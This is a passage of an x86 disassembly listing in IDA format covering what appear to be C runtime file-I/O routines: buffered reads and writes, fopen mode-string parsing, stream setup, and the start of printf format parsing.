and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41EF4C: ; CODE XREF: sub_41EE76+CBj
mov [eax], dl
add eax, 8
jmp short loc_41EF89
; ---------------------------------------------------------------------------
loc_41EF53: ; CODE XREF: sub_41EE76+B6j
cmp eax, edx
jnb short loc_41EF6A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41EF93
mov esi, ebx
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF63: ; CODE XREF: sub_41EE76+ABj
movzx eax, al
add esi, eax
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF6A: ; CODE XREF: sub_41EE76+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF7B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41EF84
; ---------------------------------------------------------------------------
loc_41EF7B: ; CODE XREF: sub_41EE76+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EF84: ; CODE XREF: sub_41EE76+103j
mov [esi], dl
lea eax, [esi+8]
loc_41EF89: ; CODE XREF: sub_41EE76+40j
; sub_41EE76+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41EF95
; ---------------------------------------------------------------------------
loc_41EF93: ; CODE XREF: sub_41EE76+7Ej
; sub_41EE76+9Dj ...
xor eax, eax
loc_41EF95: ; CODE XREF: sub_41EE76+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41EE76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41EFD4
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F034
; ---------------------------------------------------------------------------
loc_41EFD4: ; CODE XREF: sub_41EF9A+26j
jnb short loc_41F03B
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F03B
lea eax, [ecx+edx]
loc_41EFE9: ; CODE XREF: sub_41EF9A+59j
cmp eax, esi
jnb short loc_41EFF7
cmp byte ptr [eax], 0
jnz short loc_41EFF5
inc eax
jmp short loc_41EFE9
; ---------------------------------------------------------------------------
loc_41EFF5: ; CODE XREF: sub_41EF9A+56j
cmp eax, esi
loc_41EFF7: ; CODE XREF: sub_41EF9A+51j
jnz short loc_41F03B
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F02F
cmp esi, eax
jbe short loc_41F02F
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F026
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F021
loc_41F01A: ; CODE XREF: sub_41EF9A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F01A
loc_41F021: ; CODE XREF: sub_41EF9A+7Ej
mov [ebx+4], eax
jmp short loc_41F02F
; ---------------------------------------------------------------------------
loc_41F026: ; CODE XREF: sub_41EF9A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F02F: ; CODE XREF: sub_41EF9A+68j
; sub_41EF9A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F034: ; CODE XREF: sub_41EF9A+38j
mov [ebp+var_4], 1
loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j
; sub_41EF9A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41EF9A endp
; =============== S U B R O U T I N E =======================================
sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p
; sub_41BB4F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F117
test al, 40h
jnz loc_41F117
test al, 2
jz short loc_41F069
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F117
; ---------------------------------------------------------------------------
loc_41F069: ; CODE XREF: sub_41F043+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F07D
push esi
call sub_4239EF
pop ecx
jmp short loc_41F082
; ---------------------------------------------------------------------------
loc_41F07D: ; CODE XREF: sub_41F043+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F082: ; CODE XREF: sub_41F043+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F106
cmp eax, 0FFFFFFFFh
jz short loc_41F106
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F0DB
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F0C4
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DC5C0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F0C9
; ---------------------------------------------------------------------------
loc_41F0C4: ; CODE XREF: sub_41F043+6Bj
mov edi, offset dword_43C950
loc_41F0C9: ; CODE XREF: sub_41F043+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F0DB
or dh, 20h
mov [esi+0Ch], edx
loc_41F0DB: ; CODE XREF: sub_41F043+62j
; sub_41F043+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F0F8
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F0F8
test ch, 4
jnz short loc_41F0F8
mov dword ptr [esi+18h], 1000h
loc_41F0F8: ; CODE XREF: sub_41F043+9Fj
; sub_41F043+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F106: ; CODE XREF: sub_41F043+55j
; sub_41F043+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F117: ; CODE XREF: sub_41F043+Aj
; sub_41F043+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F043 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F11C proc near ; CODE XREF: sub_41B11A+90p
; sub_41F043+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DC6C0
jnb loc_41F2F9
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DC5C0h[eax*4]
mov eax, dword_4DC5C0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41F2F9
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41F1D1
test dl, 2
jnz short loc_41F1D1
test dl, 48h
jz short loc_41F191
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41F191
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41F191: ; CODE XREF: sub_41F11C+56j
; sub_41F11C+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
nop
call near ptr 26E0000h
test eax, eax
jnz short loc_41F1E4
nop
call near ptr 2660A00h
push 5
pop ecx
cmp eax, ecx
jnz short loc_41F1CC
mov dword_4DB278, 9
mov dword_4DB27C, ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1CC: ; CODE XREF: sub_41F11C+99j
cmp eax, 6Dh
jnz short loc_41F1D8
loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj
; sub_41F11C+51j
xor eax, eax
jmp loc_41F30D
; ---------------------------------------------------------------------------
loc_41F1D8: ; CODE XREF: sub_41F11C+B3j
push eax
call sub_4203DF
pop ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41F2F4
test edx, edx
jz short loc_41F209
cmp byte ptr [edi], 0Ah
jnz short loc_41F209
or al, 4
jmp short loc_41F20B
; ---------------------------------------------------------------------------
loc_41F209: ; CODE XREF: sub_41F11C+E2j
; sub_41F11C+E7j
and al, 0FBh
loc_41F20B: ; CODE XREF: sub_41F11C+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41F2EE
loc_41F223: ; CODE XREF: sub_41F11C+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41F2DE
cmp al, 0Dh
jz short loc_41F23F
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F23F: ; CODE XREF: sub_41F11C+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41F25D
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41F254
add [ebp+arg_8], 2
jmp short loc_41F2B2
; ---------------------------------------------------------------------------
loc_41F254: ; CODE XREF: sub_41F11C+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F25D: ; CODE XREF: sub_41F11C+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 26E0000h
test eax, eax
jnz short loc_41F285
nop
call near ptr 2660A00h
test eax, eax
jnz short loc_41F2CC
loc_41F285: ; CODE XREF: sub_41F11C+15Dj
cmp [ebp+var_C], 0
jz short loc_41F2CC
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41F2A7
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41F2B2
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F2A7: ; CODE XREF: sub_41F11C+176j
cmp edi, [ebp+arg_4]
jnz short loc_41F2B7
cmp [ebp+var_1], 0Ah
jnz short loc_41F2B7
loc_41F2B2: ; CODE XREF: sub_41F11C+136j
; sub_41F11C+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41F2CF
; ---------------------------------------------------------------------------
loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej
; sub_41F11C+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_42272B
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41F2D0
loc_41F2CC: ; CODE XREF: sub_41F11C+167j
; sub_41F11C+16Dj
mov byte ptr [edi], 0Dh
loc_41F2CF: ; CODE XREF: sub_41F11C+199j
inc edi
loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej
; sub_41F11C+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41F223
jmp short loc_41F2EE
; ---------------------------------------------------------------------------
loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41F2EE
or al, 2
mov [esi], al
loc_41F2EE: ; CODE XREF: sub_41F11C+101j
; sub_41F11C+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41F2F4: ; CODE XREF: sub_41F11C+DAj
mov eax, [ebp+var_8]
jmp short loc_41F30D
; ---------------------------------------------------------------------------
loc_41F2F9: ; CODE XREF: sub_41F11C+12j
; sub_41F11C+39j
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_41F30A: ; CODE XREF: sub_41F11C+ABj
; sub_41F11C+C3j
or eax, 0FFFFFFFFh
loc_41F30D: ; CODE XREF: sub_41F11C+B7j
; sub_41F11C+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F11C endp
; =============== S U B R O U T I N E =======================================
sub_41F312 proc near ; CODE XREF: sub_41B202+126p
; sub_41B202+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DB2F8
test eax, eax
jz short loc_41F32A
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41F32A
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F312+7j
; sub_41F312+12j
xor eax, eax
retn
sub_41F312 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DB464
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41F366
cmp al, 72h
jz short loc_41F35F
cmp al, 77h
jnz loc_41F47A
mov ecx, 301h
jmp short loc_41F36B
; ---------------------------------------------------------------------------
loc_41F35F: ; CODE XREF: sub_41F32D+21j
xor ecx, ecx
or esi, 1
jmp short loc_41F36E
; ---------------------------------------------------------------------------
loc_41F366: ; CODE XREF: sub_41F32D+1Dj
mov ecx, 109h
loc_41F36B: ; CODE XREF: sub_41F32D+30j
or esi, 2
loc_41F36E: ; CODE XREF: sub_41F32D+37j
push 1
pop edx
loc_41F371: ; CODE XREF: sub_41F32D+8Bj
; sub_41F32D+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41F460
cmp edx, ebx
jz loc_41F460
movsx eax, al
cmp eax, 54h
jg short loc_41F3FF
jz short loc_41F3EF
sub eax, 2Bh
jz short loc_41F3D9
sub eax, 19h
jz short loc_41F3CF
sub eax, 0Eh
jz short loc_41F3BA
dec eax
jnz loc_41F451
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj
test cl, 40h
jnz short loc_41F451
or ecx, 40h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3D9: ; CODE XREF: sub_41F32D+65j
test cl, 2
jnz short loc_41F451
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3EF: ; CODE XREF: sub_41F32D+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41F451
or ecx, eax
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej
sub eax, 62h
jz short loc_41F44C
dec eax
jz short loc_41F435
sub eax, 0Bh
jz short loc_41F41E
sub eax, 6
jnz short loc_41F451
test ch, 0C0h
jnz short loc_41F451
or ch, 40h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F41E: ; CODE XREF: sub_41F32D+DDj
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F435: ; CODE XREF: sub_41F32D+D8j
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F44C: ; CODE XREF: sub_41F32D+D5j
test ch, 0C0h
jz short loc_41F458
loc_41F451: ; CODE XREF: sub_41F32D+72j
; sub_41F32D+7Bj ...
xor edx, edx
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F458: ; CODE XREF: sub_41F32D+122j
or ch, 80h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F460: ; CODE XREF: sub_41F32D+4Aj
; sub_41F32D+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_423A33
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41F47E
loc_41F47A: ; CODE XREF: sub_41F32D+25j
xor eax, eax
jmp short loc_41F498
; ---------------------------------------------------------------------------
loc_41F47E: ; CODE XREF: sub_41F32D+14Bj
mov eax, [ebp+arg_C]
inc dword_4DB460
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41F498: ; CODE XREF: sub_41F32D+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41F32D endp
; =============== S U B R O U T I N E =======================================
sub_41F49D proc near ; CODE XREF: sub_41B4A2p
mov edx, dword_4DC5A0
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41F50E
mov ebx, dword_4DB598
mov edi, ebx
loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41F4D4
test byte ptr [ecx+0Ch], 83h
jz short loc_41F4CF
inc eax
add edi, 4
cmp eax, edx
jl short loc_41F4B9
jmp short loc_41F50E
; ---------------------------------------------------------------------------
loc_41F4CF: ; CODE XREF: sub_41F49D+26j
mov esi, [ebx+eax*4]
jmp short loc_41F4F8
; ---------------------------------------------------------------------------
loc_41F4D4: ; CODE XREF: sub_41F49D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41B4D5
pop ecx
mov ecx, dword_4DB598
mov [edi+ecx], eax
mov eax, dword_4DB598
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41F50E
mov esi, edi
loc_41F4F8: ; CODE XREF: sub_41F49D+35j
cmp esi, ebp
jz short loc_41F50E
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41F50E: ; CODE XREF: sub_41F49D+12j
; sub_41F49D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F49D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p
; sub_41B6EE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41F533
mov ecx, off_43C2F8
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41F585
; ---------------------------------------------------------------------------
loc_41F533: ; CODE XREF: sub_41F515+10j
mov ecx, eax
push esi
mov esi, off_43C2F8
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41F558
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41F561
; ---------------------------------------------------------------------------
loc_41F558: ; CODE XREF: sub_41F515+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41F561: ; CODE XREF: sub_41F515+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_423CEC
add esp, 1Ch
test eax, eax
jnz short loc_41F581
leave
retn
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F515+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41F585: ; CODE XREF: sub_41F515+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41F515 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F58A proc near ; CODE XREF: sub_41B886+46p
; sub_41B980+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41F693
test al, 40h
jnz loc_41F693
test al, 1
jz short loc_41F5C2
and dword ptr [esi+4], 0
test al, 10h
jz loc_41F693
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41F5C2: ; CODE XREF: sub_41F58A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F5FC
cmp esi, offset dword_43CA08
jz short loc_41F5EA
cmp esi, offset dword_43CA28
jnz short loc_41F5F5
loc_41F5EA: ; CODE XREF: sub_41F58A+56j
push ebx
call sub_423E35
test eax, eax
pop ecx
jnz short loc_41F5FC
loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej
push esi
call sub_4239EF
pop ecx
loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej
; sub_41F58A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41F669
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41F62C
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41F65F
; ---------------------------------------------------------------------------
loc_41F62C: ; CODE XREF: sub_41F58A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41F647
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DC5C0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41F64C
; ---------------------------------------------------------------------------
loc_41F647: ; CODE XREF: sub_41F58A+A5j
mov eax, offset dword_43C950
loc_41F64C: ; CODE XREF: sub_41F58A+BBj
test byte ptr [eax+4], 20h
jz short loc_41F65F
push 2
push 0
push ebx
call sub_42272B
add esp, 0Ch
loc_41F65F: ; CODE XREF: sub_41F58A+A0j
; sub_41F58A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41F67D
; ---------------------------------------------------------------------------
loc_41F669: ; CODE XREF: sub_41F58A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41F67D: ; CODE XREF: sub_41F58A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41F689
or dword ptr [esi+0Ch], 20h
jmp short loc_41F698
; ---------------------------------------------------------------------------
loc_41F689: ; CODE XREF: sub_41F58A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41F69B
; ---------------------------------------------------------------------------
loc_41F693: ; CODE XREF: sub_41F58A+10j
; sub_41F58A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41F698: ; CODE XREF: sub_41F58A+FDj
or eax, 0FFFFFFFFh
loc_41F69B: ; CODE XREF: sub_41F58A+107j
pop esi
pop ebx
pop ebp
retn
sub_41F58A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F69F proc near ; CODE XREF: sub_41B886+29p
; sub_41B980+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41FDB8
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41F6D3
; ---------------------------------------------------------------------------
loc_41F6CB: ; CODE XREF: sub_41F69F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj
cmp [ebp+var_14], edx
jl loc_41FDB8
cmp bl, 20h
jl short loc_41F6F4
cmp bl, 78h
jg short loc_41F6F4
movsx eax, bl
mov al, [eax+42773Ch]
and eax, 0Fh
jmp short loc_41F6F6
; ---------------------------------------------------------------------------
loc_41F6F4: ; CODE XREF: sub_41F69F+40j
; sub_41F69F+45j
xor eax, eax
loc_41F6F6: ; CODE XREF: sub_41F69F+53j
movsx eax, byte_42775C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41FDA7 ; default
jmp off_41FDC0[eax*4] ; switch jump
loc_41F714: ; DATA XREF: ___:off_41FDC0o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F72F: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 2
sub eax, 20h
jz short loc_41F772
sub eax, 3
jz short loc_41F769
sub eax, 8
jz short loc_41F760
dec eax
dec eax
jz short loc_41F757
sub eax, 3
jnz loc_41FDA7 ; default
or [ebp+var_4], 8
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F757: ; CODE XREF: sub_41F69F+A4j
or [ebp+var_4], 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F760: ; CODE XREF: sub_41F69F+A0j
or [ebp+var_4], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F769: ; CODE XREF: sub_41F69F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F772: ; CODE XREF: sub_41F69F+96j
or [ebp+var_4], 2
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F77B: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 3
jnz short loc_41F7A3
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41FDA7 ; default
or [ebp+var_4], 4
neg eax
loc_41F79B: ; CODE XREF: sub_41F69F+111j
mov [ebp+var_20], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7A3: ; CODE XREF: sub_41F69F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41F79B
; ---------------------------------------------------------------------------
loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
mov [ebp+var_10], edx ; jumptable 0041F70D case 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 5
jnz short loc_41F7DD
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41FDA7 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 49h ; jumptable 0041F70D case 6
jz short loc_41F822
cmp bl, 68h
jz short loc_41F819
cmp bl, 6Ch
jz short loc_41F810
cmp bl, 77h
jnz loc_41FDA7 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F810: ; CODE XREF: sub_41F69F+15Dj
or [ebp+var_4], 10h
